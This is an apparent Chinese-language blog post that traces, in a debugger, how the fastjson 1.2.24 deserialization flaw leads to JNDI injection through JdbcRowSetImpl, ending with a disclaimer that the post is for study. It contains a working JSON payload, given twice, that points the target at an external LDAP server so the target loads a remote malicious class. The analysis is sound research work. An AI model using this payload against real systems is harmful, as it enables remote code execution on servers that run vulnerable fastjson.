fastjson1.2.24反序列化jndi注入利用调试跟进

一直对jndi注入只有个大概的认识,今天学习一下原理,从fj反序列化漏洞入手调试学习
Payload

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.43.147:1389/o=reference","autoCommit":true}}

前面参数传递省略,分两个部分跟进

0x01.Fastjson反序列化实现流程跟进


当参数第一个字符为{时进入case 12

跟进DefaultJSONParser.parseObject
随后判断参数如果{的后面是双引号,就使用scanSymbol方法获取双引号里的内容

跟进JSONLexerBase.scanSymbol
开始获取双引号里的内容,扫描传来的值获取key


Key@type

回到JSONLexerBase.scanSymbol
具体为计算长度,根据长度来获取对应位置的字符,在JSONScanner.next方法中index为双引号开始部分,经过不断遍历,此时index为7,也就是扫描从双引号开始第7位字符的符号,

再次得到双引号,符合条件跳出循环

最终拿到双引号里的@type符合条件后进入下一步

开始扫描下一个双引号里的字符

经过像上一步一样的操作最终得到com.sun.rowset.JdbcRowSetImpl

返回上一层进入下一步

此处为取得一些基础类,进入loadclass方法

mappings是当前类加载器的缓存(相当于是一个容器,classname是key,根据key从容器取出class对象),此处想要从缓存里取出com.sun.rowset.JdbcRowSetImpl,但是mappings不存在这个对象

所以开始下一步的判断,从获取到的ClassName看到第一位字符为c,所以绕过第一个及第二个if进入到try

Classloader为空不满足条件,继续下一个try

com.sun.rowset.JdbcRowSetImpl一系列操作后缓存到mappings里,此时clazzcom.sun.rowset.JdbcRowSetImpl,满足前面clazz不为空的条件





然后通过getDeserializer方法得到clazz对象所有参数

跟进getDeserializer往下走
getFieId方法里会使用到反射加载的方式来获取对象的setget方法

获取完对象后开始反序列化

总结流程为:

遍历传入的json,取出对应的内容(对象、对象参数)->获取取出的对象的所有set、get方法->根据取得的内容做反序列化

0x02.Jndi注入跟进

流程走到
com.sun.rowset.JdbcRowSetImpl#connect

这里的参数dataSourceName是在前面反序列化时反射加载得到的setter方法setDataSourceName(String name)中设置的,由于可控所以满足jndi注入的条件,此时dataSourceName的值为前面传来的ldap://192.168.43.147:1389/o=reference,再用lookup查找传来的数据源从而进行调用
跟进lookup方法看具体实现

1
javax.naming.InitialContext#lookup


getURLOrDefaultInitCtx函数会分析传来的name的协议头然后返回对应协议的Context对象子类,然后在对应协议处理对象中去lookup搜索
跟进getURLOrDefaultInitCtx

1
javax.naming.InitialContext#getURLOrDefaultInitCtx


跟进getURLContext查看对协议的处理

1
javax.naming.NamingManager#getURLContext


此处协议是ldap所以返回GenericURLDirContext对象的子类ldapURLContext,继续跟进lookup

1
com.sun.jndi.url.ldap.ldapURLContext#lookup


往上跟到父类的lookup

1
com.sun.jndi.toolkit.url.GenericURLContext#lookup


具体链为

1
2
3
4
com.sun.jndi.url.ldap.ldapURLContext#getRootURLContext-> 
com.sun.jndi.url.ldap.ldapURLContextFactory#getUsingURLIgnoreRootDN->
javax.naming.spi.ResolveResult#ResolveResult->


回到lookup方法,

调用注册中心的lookup方法去查找传来的name(此处的remainingName即传来的恶意类)
流程走到

1
com.sun.jndi.ldap.LdapCtx#c_lookup


获取对象实例,跟进getObjectInstance

1
javax.naming.spi.DirectoryManager#getObjectInstance


由于
javax.naming.spi.NamingManager#getObjectFactoryBuilder的属性为null,所以跳过此处判断

回到DirectoryManager类,往下走

判断refinfo是否为Reference的实例对象,将恶意类封装到ref
,往下走

,获取封装到ref对象的类名,随后到Reference里加载传来的ref,跟进getObjectFactoryFromReference查看具体实现

1
javax.naming.spi.NamingManager#getObjectFactoryFromReference

尝试从本地加载Factory类:

如果本地不存在此类,则会从codebase中加载:

跟进loadclass方法,

1
com.sun.naming.internal.VersionHelper


这是一个抽象类,由于抽象类不能被直接实例化,所以我们跟进到他的子类的loadclass方法

1
com.sun.naming.internal.VersionHelpe12#loadclass


进入到forname

1
java.lang.class#forname

由于security属性为null所以跳过安全检查直接返回对象

回到VersionHelpe12#loadclass,最后通过URLClassLoader从远程动态加载恶意类:

此处的getUrlArray方法为父类的解析实现

1
VersionHelper#getUrlArray


回到Javax.naming.spi.NamingManager#getObjectFactoryFromReference
实例化URLClassLoader从远程动态加载的恶意类,从而加载恶意代码触发命令:

实例化调用链如下

1
2
3
4
5
Java.lang.class#newInstance->
java.lang.reflect.Constructor#newInstance->
sun.reflect.DelegatingConstructorAccessorImpl#newInstance->
sun.reflect.NativeConstructorAccessorImpl#newInstance->
sun.reflect.NativeConstructorAccessorImpl#newInstance0

总结流程为:

获取数据源->获取参数协议头,根据获取的协议进入对应的处理方法->加载factory对象->实例化获取的对象

总结fastjson漏洞原理:

fastjson是根据json内容转为对应的javabean,即fastjson会取得json中的类及类的参数进行反序列化,由于json可控,攻击者可以自定义类及类的参数,所以fastjson在获取攻击者传入的对象的set、get方法时会根据攻击者传入的json来进行设定set方法的值,最后在反序列化时触发漏洞。拿jndi注入来说,攻击者传入json内容{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.83.11:1389/o=tomcat","autoCommit":true},fastjson首先会取得JdbcRowSetImpl类,在取JdbcRowSetImpl类的所有set、get方法时会将数据源ldap://192.168.83.11:1389/o=tomcat当作setDataSourceName的值来设定,最后在还原成JdbcRowSetImpl时就会去加载该数据源从而加载远程恶意类达到攻击目的。

参考


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.